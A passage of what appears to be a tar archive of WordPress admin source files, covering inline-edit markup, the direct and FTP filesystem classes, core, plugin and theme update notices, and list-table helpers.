// Contributors only get "Unpublished" and "Pending Review" ?> <option value="publish"><?php _e( 'Published' ); ?></option> <option value="future"><?php _e( 'Scheduled' ); ?></option> <?php if ( $bulk ) : ?> <option value="private"><?php _e( 'Private' ) ?></option> <?php endif; // $bulk ?> <?php endif; ?> <option value="pending"><?php _e( 'Pending Review' ); ?></option> <option value="draft"><?php _e( 'Draft' ); ?></option> </select> </label> <?php if ( 'post' == $screen->post_type && $can_publish && current_user_can( $post_type_object->cap->edit_others_posts ) ) : ?> <?php if ( $bulk ) : ?> <label class="alignright"> <span class="title"><?php _e( 'Sticky' ); ?></span> <select name="sticky"> <option value="-1"><?php _e( '— No Change —' ); ?></option> <option value="sticky"><?php _e( 'Sticky' ); ?></option> <option value="unsticky"><?php _e( 'Not Sticky' ); ?></option> </select> </label> <?php else : // $bulk ?> <label class="alignleft"> <input type="checkbox" name="sticky" value="sticky" /> <span class="checkbox-title"><?php _e( 'Make this post sticky' ); ?></span> </label> <?php endif; // $bulk ?> <?php endif; // 'post' && $can_publish && current_user_can( 'edit_others_cap' ) ?> </div> <?php if ( $bulk && current_theme_supports( 'post-formats' ) && post_type_supports( $screen->post_type, 'post-formats' ) ) { $post_formats = get_theme_support( 'post-formats' ); ?> <label class="alignleft" for="post_format"> <span class="title"><?php _ex( 'Format', 'post format' ); ?></span> <select name="post_format"> <option value="-1"><?php _e( '— No Change —' ); ?></option> <option value="0"><?php echo get_post_format_string( 'standard' ); ?></option> <?php foreach ( $post_formats[0] as $format ) { ?> <option value="<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></option> <?php } ?> </select></label> <?php } ?> </div></fieldset> <?php list( $columns ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { if ( isset( $core_columns[$column_name] ) ) continue; if ( $bulk ) { /** * Fires once for each column in Bulk Edit mode. * * @since 2.7.0 * * @param string $column_name Name of the column to edit. * @param WP_Post $post_type The post type slug. */ do_action( 'bulk_edit_custom_box', $column_name, $screen->post_type ); } else { /** * Fires once for each column in Quick Edit mode. * * @since 2.7.0 * * @param string $column_name Name of the column to edit. * @param WP_Post $post_type The post type slug. */ do_action( 'quick_edit_custom_box', $column_name, $screen->post_type ); } } ?> <p class="submit inline-edit-save"> <a accesskey="c" href="#inline-edit" class="button-secondary cancel alignleft"><?php _e( 'Cancel' ); ?></a> <?php if ( ! $bulk ) { wp_nonce_field( 'inlineeditnonce', '_inline_edit', false ); ?> <a accesskey="s" href="#inline-edit" class="button-primary save alignright"><?php _e( 'Update' ); ?></a> <span class="spinner"></span> <?php } else { submit_button( __( 'Update' ), 'button-primary alignright', 'bulk_edit', false, array( 'accesskey' => 's' ) ); } ?> <input type="hidden" name="post_view" value="<?php echo esc_attr( $m ); ?>" /> <input type="hidden" name="screen" value="<?php echo esc_attr( $screen->id ); ?>" /> <?php if ( ! $bulk && ! post_type_supports( $screen->post_type, 'author' ) ) { ?> <input type="hidden" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" /> <?php } ?> <span class="error" style="display:none"></span> <br class="clear" /> </p> </td></tr> <?php $bulk++; } ?> </tbody></table></form> <?php } } class-wp-filesystem-direct.php000077700000022572151514577750012500 0ustar00<?php /** * WordPress Direct Filesystem. * * @package WordPress * @subpackage Filesystem */ /** * WordPress Filesystem Class for direct PHP file and folder manipulation. * * @since 2.5.0 * @package WordPress * @subpackage Filesystem * @uses WP_Filesystem_Base Extends class */ class WP_Filesystem_Direct extends WP_Filesystem_Base { /** * constructor * * @param mixed $arg ignored argument */ function __construct($arg) { $this->method = 'direct'; $this->errors = new WP_Error(); } /** * Reads entire file into a string * * @param string $file Name of the file to read. * @return string|bool The function returns the read data or false on failure. */ function get_contents($file) { return @file_get_contents($file); } /** * Reads entire file into an array * * @param string $file Path to the file. * @return array|bool the file contents in an array or false on failure. */ function get_contents_array($file) { return @file($file); } /** * Write a string to a file * * @param string $file Remote path to the file where to write the data. * @param string $contents The data to write. * @param int $mode (optional) The file permissions as octal number, usually 0644. * @return bool False upon failure. */ function put_contents( $file, $contents, $mode = false ) { $fp = @fopen( $file, 'wb' ); if ( ! $fp ) return false; mbstring_binary_safe_encoding(); $data_length = strlen( $contents ); $bytes_written = fwrite( $fp, $contents ); reset_mbstring_encoding(); fclose( $fp ); if ( $data_length !== $bytes_written ) return false; $this->chmod( $file, $mode ); return true; } /** * Gets the current working directory * * @return string|bool the current working directory on success, or false on failure. */ function cwd() { return @getcwd(); } /** * Change directory * * @param string $dir The new current directory. * @return bool Returns true on success or false on failure. */ function chdir($dir) { return @chdir($dir); } /** * Changes file group * * @param string $file Path to the file. * @param mixed $group A group name or number. * @param bool $recursive (optional) If set True changes file group recursively. Defaults to False. * @return bool Returns true on success or false on failure. */ function chgrp($file, $group, $recursive = false) { if ( ! $this->exists($file) ) return false; if ( ! $recursive ) return @chgrp($file, $group); if ( ! $this->is_dir($file) ) return @chgrp($file, $group); // Is a directory, and we want recursive $file = trailingslashit($file); $filelist = $this->dirlist($file); foreach ($filelist as $filename) $this->chgrp($file . $filename, $group, $recursive); return true; } /** * Changes filesystem permissions * * @param string $file Path to the file. * @param int $mode (optional) The permissions as octal number, usually 0644 for files, 0755 for dirs. * @param bool $recursive (optional) If set True changes file group recursively. Defaults to False. * @return bool Returns true on success or false on failure. */ function chmod($file, $mode = false, $recursive = false) { if ( ! $mode ) { if ( $this->is_file($file) ) $mode = FS_CHMOD_FILE; elseif ( $this->is_dir($file) ) $mode = FS_CHMOD_DIR; else return false; } if ( ! $recursive || ! $this->is_dir($file) ) return @chmod($file, $mode); // Is a directory, and we want recursive $file = trailingslashit($file); $filelist = $this->dirlist($file); foreach ( (array)$filelist as $filename => $filemeta) $this->chmod($file . $filename, $mode, $recursive); return true; } /** * Changes file owner * * @param string $file Path to the file. * @param mixed $owner A user name or number. * @param bool $recursive (optional) If set True changes file owner recursively. Defaults to False. * @return bool Returns true on success or false on failure. */ function chown($file, $owner, $recursive = false) { if ( ! $this->exists($file) ) return false; if ( ! $recursive ) return @chown($file, $owner); if ( ! $this->is_dir($file) ) return @chown($file, $owner); // Is a directory, and we want recursive $filelist = $this->dirlist($file); foreach ($filelist as $filename) { $this->chown($file . '/' . $filename, $owner, $recursive); } return true; } /** * Gets file owner * * @param string $file Path to the file. * @return string|bool Username of the user or false on error. */ function owner($file) { $owneruid = @fileowner($file); if ( ! $owneruid ) return false; if ( ! function_exists('posix_getpwuid') ) return $owneruid; $ownerarray = posix_getpwuid($owneruid); return $ownerarray['name']; } /** * Gets file permissions * * FIXME does not handle errors in fileperms() * * @param string $file Path to the file. * @return string Mode of the file (last 3 digits). */ function getchmod($file) { return substr( decoct( @fileperms( $file ) ), -3 ); } function group($file) { $gid = @filegroup($file); if ( ! $gid ) return false; if ( ! function_exists('posix_getgrgid') ) return $gid; $grouparray = posix_getgrgid($gid); return $grouparray['name']; } function copy($source, $destination, $overwrite = false, $mode = false) { if ( ! $overwrite && $this->exists($destination) ) return false; $rtval = copy($source, $destination); if ( $mode ) $this->chmod($destination, $mode); return $rtval; } function move($source, $destination, $overwrite = false) { if ( ! $overwrite && $this->exists($destination) ) return false; // try using rename first. if that fails (for example, source is read only) try copy if ( @rename($source, $destination) ) return true; if ( $this->copy($source, $destination, $overwrite) && $this->exists($destination) ) { $this->delete($source); return true; } else { return false; } } function delete($file, $recursive = false, $type = false) { if ( empty( $file ) ) // Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem. return false; $file = str_replace( '\\', '/', $file ); // for win32, occasional problems deleting files otherwise if ( 'f' == $type || $this->is_file($file) ) return @unlink($file); if ( ! $recursive && $this->is_dir($file) ) return @rmdir($file); // At this point it's a folder, and we're in recursive mode $file = trailingslashit($file); $filelist = $this->dirlist($file, true); $retval = true; if ( is_array( $filelist ) ) { foreach ( $filelist as $filename => $fileinfo ) { if ( ! $this->delete($file . $filename, $recursive, $fileinfo['type']) ) $retval = false; } } if ( file_exists($file) && ! @rmdir($file) ) $retval = false; return $retval; } function exists($file) { return @file_exists($file); } function is_file($file) { return @is_file($file); } function is_dir($path) { return @is_dir($path); } function is_readable($file) { return @is_readable($file); } function is_writable($file) { return @is_writable($file); } function atime($file) { return @fileatime($file); } function mtime($file) { return @filemtime($file); } function size($file) { return @filesize($file); } function touch($file, $time = 0, $atime = 0) { if ($time == 0) $time = time(); if ($atime == 0) $atime = time(); return @touch($file, $time, $atime); } function mkdir($path, $chmod = false, $chown = false, $chgrp = false) { // safe mode fails with a trailing slash under certain PHP versions. $path = untrailingslashit($path); if ( empty($path) ) return false; if ( ! $chmod ) $chmod = FS_CHMOD_DIR; if ( ! @mkdir($path) ) return false; $this->chmod($path, $chmod); if ( $chown ) $this->chown($path, $chown); if ( $chgrp ) $this->chgrp($path, $chgrp); return true; } function rmdir($path, $recursive = false) { return $this->delete($path, $recursive); } function dirlist($path, $include_hidden = true, $recursive = false) { if ( $this->is_file($path) ) { $limit_file = basename($path); $path = dirname($path); } else { $limit_file = false; } if ( ! $this->is_dir($path) ) return false; $dir = @dir($path); if ( ! $dir ) return false; $ret = array(); while (false !== ($entry = $dir->read()) ) { $struc = array(); $struc['name'] = $entry; if ( '.' == $struc['name'] || '..' == $struc['name'] ) continue; if ( ! $include_hidden && '.' == $struc['name'][0] ) continue; if ( $limit_file && $struc['name'] != $limit_file) continue; $struc['perms'] = $this->gethchmod($path.'/'.$entry); $struc['permsn'] = $this->getnumchmodfromh($struc['perms']); $struc['number'] = false; $struc['owner'] = $this->owner($path.'/'.$entry); $struc['group'] = $this->group($path.'/'.$entry); $struc['size'] = $this->size($path.'/'.$entry); $struc['lastmodunix']= $this->mtime($path.'/'.$entry); $struc['lastmod'] = date('M j',$struc['lastmodunix']); $struc['time'] = date('h:i:s',$struc['lastmodunix']); $struc['type'] = $this->is_dir($path.'/'.$entry) ? 'd' : 'f'; if ( 'd' == $struc['type'] ) { if ( $recursive ) $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); else $struc['files'] = array(); } $ret[ $struc['name'] ] = $struc; } $dir->close(); unset($dir); return $ret; } } update.php000077700000042157151514577750006600 0ustar00<?php /** * WordPress Administration Update API * * @package WordPress * @subpackage Administration */ /** * Selects the first update version from the update_core option. * * @return bool|object The response from the API on success, false on failure. */ function get_preferred_from_update_core() { $updates = get_core_updates(); if ( ! is_array( $updates ) ) return false; if ( empty( $updates ) ) return (object) array( 'response' => 'latest' ); return $updates[0]; } /** * Get available core updates. * * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too, * set $options['available'] to false to skip not-dismissed updates. * @return bool|array Array of the update objects on success, false on failure. */ function get_core_updates( $options = array() ) { $options = array_merge( array( 'available' => true, 'dismissed' => false ), $options ); $dismissed = get_site_option( 'dismissed_update_core' ); if ( ! is_array( $dismissed ) ) $dismissed = array(); $from_api = get_site_transient( 'update_core' ); if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) return false; $updates = $from_api->updates; $result = array(); foreach ( $updates as $update ) { if ( $update->response == 'autoupdate' ) continue; if ( array_key_exists( $update->current . '|' . $update->locale, $dismissed ) ) { if ( $options['dismissed'] ) { $update->dismissed = true; $result[] = $update; } } else { if ( $options['available'] ) { $update->dismissed = false; $result[] = $update; } } } return $result; } /** * Gets the best available (and enabled) Auto-Update for WordPress Core. * * If there's 1.2.3 and 1.3 on offer, it'll choose 1.3 if the install allows it, else, 1.2.3 * * @since 3.7.0 * * @return bool|array False on failure, otherwise the core update offering. */ function find_core_auto_update() { $updates = get_site_transient( 'update_core' ); if ( ! $updates || empty( $updates->updates ) ) return false; include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $auto_update = false; $upgrader = new WP_Automatic_Updater; foreach ( $updates->updates as $update ) { if ( 'autoupdate' != $update->response ) continue; if ( ! $upgrader->should_update( 'core', $update, ABSPATH ) ) continue; if ( ! $auto_update || version_compare( $update->current, $auto_update->current, '>' ) ) $auto_update = $update; } return $auto_update; } /** * Gets and caches the checksums for the given version of WordPress. * * @since 3.7.0 * * @param string $version Version string to query. * @param string $locale Locale to query. * @return bool|array False on failure. An array of checksums on success. */ function get_core_checksums( $version, $locale ) { $return = array(); $url = $http_url = 'http://api.wordpress.org/core/checksums/1.0/?' . http_build_query( compact( 'version', 'locale' ), null, '&' ); if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) $url = set_url_scheme( $url, 'https' ); $options = array( 'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3 ), ); $response = wp_remote_get( $url, $options ); if ( $ssl && is_wp_error( $response ) ) { trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); $response = wp_remote_get( $http_url, $options ); } if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) return false; $body = trim( wp_remote_retrieve_body( $response ) ); $body = json_decode( $body, true ); if ( ! is_array( $body ) || ! isset( $body['checksums'] ) || ! is_array( $body['checksums'] ) ) return false; return $body['checksums']; } function dismiss_core_update( $update ) { $dismissed = get_site_option( 'dismissed_update_core' ); $dismissed[ $update->current . '|' . $update->locale ] = true; return update_site_option( 'dismissed_update_core', $dismissed ); } function undismiss_core_update( $version, $locale ) { $dismissed = get_site_option( 'dismissed_update_core' ); $key = $version . '|' . $locale; if ( ! isset( $dismissed[$key] ) ) return false; unset( $dismissed[$key] ); return update_site_option( 'dismissed_update_core', $dismissed ); } function find_core_update( $version, $locale ) { $from_api = get_site_transient( 'update_core' ); if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) ) return false; $updates = $from_api->updates; foreach ( $updates as $update ) { if ( $update->current == $version && $update->locale == $locale ) return $update; } return false; } function core_update_footer( $msg = '' ) { if ( !current_user_can('update_core') ) return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) ); $cur = get_preferred_from_update_core(); if ( ! is_object( $cur ) ) $cur = new stdClass; if ( ! isset( $cur->current ) ) $cur->current = ''; if ( ! isset( $cur->url ) ) $cur->url = ''; if ( ! isset( $cur->response ) ) $cur->response = ''; switch ( $cur->response ) { case 'development' : return sprintf( __( 'You are using a development version (%1$s). Cool! Please <a href="%2$s">stay updated</a>.' ), get_bloginfo( 'version', 'display' ), network_admin_url( 'update-core.php' ) ); break; case 'upgrade' : return sprintf( '<strong>'.__( '<a href="%1$s">Get Version %2$s</a>' ).'</strong>', network_admin_url( 'update-core.php' ), $cur->current); break; case 'latest' : default : return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) ); break; } } add_filter( 'update_footer', 'core_update_footer' ); function update_nag() { if ( is_multisite() && !current_user_can('update_core') ) return false; global $pagenow; if ( 'update-core.php' == $pagenow ) return; $cur = get_preferred_from_update_core(); if ( ! isset( $cur->response ) || $cur->response != 'upgrade' ) return false; if ( current_user_can('update_core') ) { $msg = sprintf( __('<a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> is available! <a href="%2$s">Please update now</a>.'), $cur->current, network_admin_url( 'update-core.php' ) ); $msg_line2 = sprintf( /* translators: 1: WordPress version number, 2: Link to update WordPress */ __( 'Important! Your version of WordPress (%1$s) is no longer supported, you will not receive any security updates for your website. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' ), get_bloginfo( 'version', 'display' ), network_admin_url( 'update-core.php' ) ); } else { $msg = sprintf( __('<a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> is available! Please notify the site administrator.'), $cur->current ); $msg_line2 = sprintf( /* translators: 1: WordPress version number, 2: Link to update WordPress */ __( 'Important! Your version of WordPress (%1$s) is no longer supported, you will not receive any security updates for your website. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' ), get_bloginfo( 'version', 'display' ), __( 'https://wordpress.org/download/' ) ); } echo "<div class='update-nag update-nag-core-insecure'><p>$msg</p><p>$msg_line2</p></div>"; } add_action( 'admin_notices', 'update_nag', 3 ); add_action( 'network_admin_notices', 'update_nag', 3 ); // Called directly from dashboard function update_right_now_message() { $theme_name = wp_get_theme(); if ( current_user_can( 'switch_themes' ) ) { $theme_name = sprintf( '<a href="themes.php">%1$s</a>', $theme_name ); } $msg = sprintf( __( 'WordPress %1$s running %2$s theme.' ), get_bloginfo( 'version', 'display' ), $theme_name ); if ( current_user_can('update_core') ) { $cur = get_preferred_from_update_core(); if ( isset( $cur->response ) && $cur->response == 'upgrade' ) $msg .= " <a href='" . network_admin_url( 'update-core.php' ) . "' class='button'>" . sprintf( __('Update to %s'), $cur->current ? $cur->current : __( 'Latest' ) ) . '</a>'; } echo "<p id='wp-version-message'>$msg</p>"; } function get_plugin_updates() { $all_plugins = get_plugins(); $upgrade_plugins = array(); $current = get_site_transient( 'update_plugins' ); foreach ( (array)$all_plugins as $plugin_file => $plugin_data) { if ( isset( $current->response[ $plugin_file ] ) ) { $upgrade_plugins[ $plugin_file ] = (object) $plugin_data; $upgrade_plugins[ $plugin_file ]->update = $current->response[ $plugin_file ]; } } return $upgrade_plugins; } function wp_plugin_update_rows() { if ( !current_user_can('update_plugins' ) ) return; $plugins = get_site_transient( 'update_plugins' ); if ( isset($plugins->response) && is_array($plugins->response) ) { $plugins = array_keys( $plugins->response ); foreach( $plugins as $plugin_file ) { add_action( "after_plugin_row_$plugin_file", 'wp_plugin_update_row', 10, 2 ); } } } add_action( 'admin_init', 'wp_plugin_update_rows' ); function wp_plugin_update_row( $file, $plugin_data ) { $current = get_site_transient( 'update_plugins' ); if ( !isset( $current->response[ $file ] ) ) return false; $r = $current->response[ $file ]; $plugins_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array()); $plugin_name = wp_kses( $plugin_data['Name'], $plugins_allowedtags ); $details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $r->slug . '§ion=changelog&TB_iframe=true&width=600&height=800'); $wp_list_table = _get_list_table('WP_Plugins_List_Table'); if ( is_network_admin() || !is_multisite() ) { echo '<tr class="plugin-update-tr"><td colspan="' . $wp_list_table->get_column_count() . '" class="plugin-update colspanchange"><div class="update-message">'; if ( ! current_user_can('update_plugins') ) printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version ); else if ( empty($r->package) ) printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version ); else printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version, wp_nonce_url( self_admin_url('update.php?action=upgrade-plugin&plugin=') . $file, 'upgrade-plugin_' . $file) ); /** * Fires at the end of the update message container in each * row of the plugins list table. * * The dynamic portion of the hook name, $file, refers to the path * of the plugin's primary file relative to the plugins directory. * * @since 2.8.0 * * @param array $plugin_data { * An array of plugin metadata. * * @type string $name The human-readable name of the plugin. * @type string $plugin_uri Plugin URI. * @type string $version Plugin version. * @type string $description Plugin description. * @type string $author Plugin author. * @type string $author_uri Plugin author URI. * @type string $text_domain Plugin text domain. * @type string $domain_path Relative path to the plugin's .mo file(s). * @type bool $network Whether the plugin can only be activated network wide. * @type string $title The human-readable title of the plugin. * @type string $author_name Plugin author's name. * @type bool $update Whether there's an available update. Default null. * } * @param array $r { * An array of metadata about the available plugin update. * * @type int $id Plugin ID. * @type string $slug Plugin slug. * @type string $new_version New plugin version. * @type string $url Plugin URL. * @type string $package Plugin update package URL. * } */ do_action( "in_plugin_update_message-{$file}", $plugin_data, $r ); echo '</div></td></tr>'; } } function get_theme_updates() { $themes = wp_get_themes(); $current = get_site_transient('update_themes'); if ( ! isset( $current->response ) ) return array(); $update_themes = array(); foreach ( $current->response as $stylesheet => $data ) { $update_themes[ $stylesheet ] = wp_get_theme( $stylesheet ); $update_themes[ $stylesheet ]->update = $data; } return $update_themes; } function wp_theme_update_rows() { if ( !current_user_can('update_themes' ) ) return; $themes = get_site_transient( 'update_themes' ); if ( isset($themes->response) && is_array($themes->response) ) { $themes = array_keys( $themes->response ); foreach( $themes as $theme ) { add_action( "after_theme_row_$theme", 'wp_theme_update_row', 10, 2 ); } } } add_action( 'admin_init', 'wp_theme_update_rows' ); function wp_theme_update_row( $theme_key, $theme ) { $current = get_site_transient( 'update_themes' ); if ( !isset( $current->response[ $theme_key ] ) ) return false; $r = $current->response[ $theme_key ]; $themes_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array()); $theme_name = wp_kses( $theme['Name'], $themes_allowedtags ); $details_url = add_query_arg( array( 'TB_iframe' => 'true', 'width' => 1024, 'height' => 800 ), $current->response[ $theme_key ]['url'] ); $wp_list_table = _get_list_table('WP_MS_Themes_List_Table'); echo '<tr class="plugin-update-tr"><td colspan="' . $wp_list_table->get_column_count() . '" class="plugin-update colspanchange"><div class="update-message">'; if ( ! current_user_can('update_themes') ) printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r->new_version ); else if ( empty( $r['package'] ) ) printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r['new_version'] ); else printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.'), $theme['Name'], esc_url($details_url), esc_attr($theme['Name']), $r['new_version'], wp_nonce_url( self_admin_url('update.php?action=upgrade-theme&theme=') . $theme_key, 'upgrade-theme_' . $theme_key) ); /** * Fires at the end of the update message container in each * row of the themes list table. * * The dynamic portion of the hook name, $theme_key, refers to * the theme slug as found in the WordPress.org themes repository. * * @since 3.1.0 * * @param WP_Theme $theme The WP_Theme object. * @param array $r { * An array of metadata about the available theme update. * * @type string $new_version New theme version. * @type string $url Theme URL. * @type string $package Theme update package URL. * } */ do_action( "in_theme_update_message-{$theme_key}", $theme, $r ); echo '</div></td></tr>'; } function maintenance_nag() { include ABSPATH . WPINC . '/version.php'; // include an unmodified $wp_version global $upgrading; $nag = isset( $upgrading ); if ( ! $nag ) { $failed = get_site_option( 'auto_core_update_failed' ); /* * If an update failed critically, we may have copied over version.php but not other files. * In that case, if the install claims we're running the version we attempted, nag. * This is serious enough to err on the side of nagging. * * If we simply failed to update before we tried to copy any files, then assume things are * OK if they are now running the latest. * * This flag is cleared whenever a successful update occurs using Core_Upgrader. */ $comparison = ! empty( $failed['critical'] ) ? '>=' : '>'; if ( version_compare( $failed['attempted'], $wp_version, $comparison ) ) $nag = true; } if ( ! $nag ) return false; if ( current_user_can('update_core') ) $msg = sprintf( __('An automated WordPress update has failed to complete - <a href="%s">please attempt the update again now</a>.'), 'update-core.php' ); else $msg = __('An automated WordPress update has failed to complete! Please notify the site administrator.'); echo "<div class='update-nag'>$msg</div>"; } add_action( 'admin_notices', 'maintenance_nag' ); add_action( 'network_admin_notices', 'maintenance_nag' ); list-table.php000077700000006172151514577750007353 0ustar00<?php /** * Helper functions for displaying a list of items in an ajaxified HTML table. * * @package WordPress * @subpackage List_Table * @since 3.1.0 */ /** * Fetch an instance of a WP_List_Table class. * * @access private * @since 3.1.0 * * @param string $class The type of the list table, which is the class name. * @param array $args Optional. Arguments to pass to the class. Accepts 'screen'. * @return object|bool Object on success, false if the class does not exist. */ function _get_list_table( $class, $args = array() ) { $core_classes = array( //Site Admin 'WP_Posts_List_Table' => 'posts', 'WP_Media_List_Table' => 'media', 'WP_Terms_List_Table' => 'terms', 'WP_Users_List_Table' => 'users', 'WP_Comments_List_Table' => 'comments', 'WP_Post_Comments_List_Table' => 'comments', 'WP_Links_List_Table' => 'links', 'WP_Plugin_Install_List_Table' => 'plugin-install', 'WP_Themes_List_Table' => 'themes', 'WP_Theme_Install_List_Table' => array( 'themes', 'theme-install' ), 'WP_Plugins_List_Table' => 'plugins', // Network Admin 'WP_MS_Sites_List_Table' => 'ms-sites', 'WP_MS_Users_List_Table' => 'ms-users', 'WP_MS_Themes_List_Table' => 'ms-themes', ); if ( isset( $core_classes[ $class ] ) ) { foreach ( (array) $core_classes[ $class ] as $required ) require_once( ABSPATH . 'wp-admin/includes/class-wp-' . $required . '-list-table.php' ); if ( isset( $args['screen'] ) ) $args['screen'] = convert_to_screen( $args['screen'] ); elseif ( isset( $GLOBALS['hook_suffix'] ) ) $args['screen'] = get_current_screen(); else $args['screen'] = null; return new $class( $args ); } return false; } /** * Register column headers for a particular screen. * * @since 2.7.0 * * @param string $screen The handle for the screen to add help to. This is usually the hook name returned by the add_*_page() functions. * @param array $columns An array of columns with column IDs as the keys and translated column names as the values * @see get_column_headers(), print_column_headers(), get_hidden_columns() */ function register_column_headers($screen, $columns) { $wp_list_table = new _WP_List_Table_Compat($screen, $columns); } /** * Prints column headers for a particular screen. * * @since 2.7.0 */ function print_column_headers($screen, $id = true) { $wp_list_table = new _WP_List_Table_Compat($screen); $wp_list_table->print_column_headers($id); } /** * Helper class to be used only by back compat functions * * @since 3.1.0 */ class _WP_List_Table_Compat extends WP_List_Table { var $_screen; var $_columns; function _WP_List_Table_Compat( $screen, $columns = array() ) { if ( is_string( $screen ) ) $screen = convert_to_screen( $screen ); $this->_screen = $screen; if ( !empty( $columns ) ) { $this->_columns = $columns; add_filter( 'manage_' . $screen->id . '_columns', array( $this, 'get_columns' ), 0 ); } } function get_column_info() { $columns = get_column_headers( $this->_screen ); $hidden = get_hidden_columns( $this->_screen ); $sortable = array(); return array( $columns, $hidden, $sortable ); } function get_columns() { return $this->_columns; } } class-wp-filesystem-ftpext.php000077700000025440151514577750012535 0ustar00<?php /** * WordPress FTP Filesystem. * * @package WordPress * @subpackage Filesystem */ /** * WordPress Filesystem Class for implementing FTP. * * @since 2.5.0 * @package WordPress * @subpackage Filesystem * @uses WP_Filesystem_Base Extends class */ class WP_Filesystem_FTPext extends WP_Filesystem_Base { var $link; var $errors = null; var $options = array(); function __construct($opt='') { $this->method = 'ftpext'; $this->errors = new WP_Error(); // Check if possible to use ftp functions. if ( ! extension_loaded('ftp') ) { $this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available')); return false; } // This Class uses the timeout on a per-connection basis, Others use it on a per-action basis. if ( ! defined('FS_TIMEOUT') ) define('FS_TIMEOUT', 240); if ( empty($opt['port']) ) $this->options['port'] = 21; else $this->options['port'] = $opt['port']; if ( empty($opt['hostname']) ) $this->errors->add('empty_hostname', __('FTP hostname is required')); else $this->options['hostname'] = $opt['hostname']; if ( ! empty($opt['base']) ) $this->wp_base = $opt['base']; // Check if the options provided are OK. if ( empty($opt['username']) ) $this->errors->add('empty_username', __('FTP username is required')); else $this->options['username'] = $opt['username']; if ( empty($opt['password']) ) $this->errors->add('empty_password', __('FTP password is required')); else $this->options['password'] = $opt['password']; $this->options['ssl'] = false; if ( isset($opt['connection_type']) && 'ftps' == $opt['connection_type'] ) $this->options['ssl'] = true; } function connect() { if ( isset($this->options['ssl']) && $this->options['ssl'] && function_exists('ftp_ssl_connect') ) $this->link = @ftp_ssl_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT); else $this->link = @ftp_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT); if ( ! $this->link ) { $this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port'])); return false; } if ( ! @ftp_login($this->link,$this->options['username'], $this->options['password']) ) { $this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username'])); return false; } // Set the Connection to use Passive FTP @ftp_pasv( $this->link, true ); if ( @ftp_get_option($this->link, FTP_TIMEOUT_SEC) < FS_TIMEOUT ) @ftp_set_option($this->link, FTP_TIMEOUT_SEC, FS_TIMEOUT); return true; } function get_contents( $file ) { $tempfile = wp_tempnam($file); $temp = fopen($tempfile, 'w+'); if ( ! $temp ) return false; if ( ! @ftp_fget($this->link, $temp, $file, FTP_BINARY ) ) return false; fseek( $temp, 0 ); // Skip back to the start of the file being written to $contents = ''; while ( ! feof($temp) ) $contents .= fread($temp, 8192); fclose($temp); unlink($tempfile); return $contents; } function get_contents_array($file) { return explode("\n", $this->get_contents($file)); } function put_contents($file, $contents, $mode = false ) { $tempfile = wp_tempnam($file); $temp = fopen( $tempfile, 'wb+' ); if ( ! $temp ) return false; mbstring_binary_safe_encoding(); $data_length = strlen( $contents ); $bytes_written = fwrite( $temp, $contents ); reset_mbstring_encoding(); if ( $data_length !== $bytes_written ) { fclose( $temp ); unlink( $tempfile ); return false; } fseek( $temp, 0 ); // Skip back to the start of the file being written to $ret = @ftp_fput( $this->link, $file, $temp, FTP_BINARY ); fclose($temp); unlink($tempfile); $this->chmod($file, $mode); return $ret; } function cwd() { $cwd = @ftp_pwd($this->link); if ( $cwd ) $cwd = trailingslashit($cwd); return $cwd; } function chdir($dir) { return @ftp_chdir($this->link, $dir); } function chgrp($file, $group, $recursive = false ) { return false; } function chmod($file, $mode = false, $recursive = false) { if ( ! $mode ) { if ( $this->is_file($file) ) $mode = FS_CHMOD_FILE; 